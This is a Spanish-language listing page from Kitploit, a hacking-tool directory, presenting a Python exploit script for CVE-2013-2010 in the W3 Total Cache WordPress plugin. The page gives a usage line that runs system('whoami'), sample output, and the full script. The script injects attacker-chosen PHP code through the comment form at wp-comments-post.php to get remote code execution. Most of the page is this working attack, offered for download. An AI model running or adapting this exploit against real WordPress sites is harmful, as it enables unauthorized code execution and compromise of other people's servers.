Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
w3-total-cache-cve-2013-2010 — Ejecución remota de código en w3 total cache cve 2013-2010 | Kitploit
Herramientas/GitHubGitHub/spyata123/w3-total-cache-cve-2013-2010
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de Penetración
GitHubspyata123/w3-total-cache-cve-2013-2010

w3-total-cache-cve-2013-2010

Ejecución remota de código en w3 total cache cve 2013-2010

Ver Repositorio
1hace 1 añoAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

w3-total-cache-cve-2013-2010

Ejecución remota de código en w3 total cache cve 2013-2010

Uso: python3 w3tc_rce_exploit.py -u http://example.com -p "system('whoami');"

Salida: [*] Targeting: http://example.com [+] Payload sent successfully. [+] Check the target for execution of the payload.


import requests import argparse

def exploit_rce(target_url, payload): """Exploit the RCE vulnerability by sending a crafted comment.""" # Construct the URL for posting a comment post_url = f"{target_url}/wp-comments-post.php"

root@kitploit:~
# Prepare the payload for the comment
data = {
    'author': 'attacker',
    'email': '[email protected]',
    'url': 'http://example.com',
    'comment': payload,
    'submit': 'Submit Comment',
    'post_id': 1  # Assuming post ID 1 exists; adjust as necessary
}

try:
    # Send the POST request
    response = requests.post(post_url, data=data)
    
    if response.status_code == 200:
        print("[+] Payload sent successfully.")
        print("[+] Check the target for execution of the payload.")
    else:
        print("[-] Failed to send payload.")
        print(f"Status Code: {response.status_code}")

except Exception as e:
    print(f"Error during exploitation: {str(e)}")

def main(): parser = argparse.ArgumentParser(description='Exploit CVE-2013-2010 in W3 Total Cache') parser.add_argument('-u', '--url', required=True, help='Target WordPress URL') parser.add_argument('-p', '--payload', required=True, help='PHP code to execute')

root@kitploit:~
args = parser.parse_args()

target_url = args.url.rstrip('/')

# Construct a malicious payload (e.g., a simple PHP command)
php_payload = f"<?php {args.payload} ?>"

print(f"[*] Targeting: {target_url}")

exploit_rce(target_url, php_payload)

if name == "main": main()

Descargar herramienta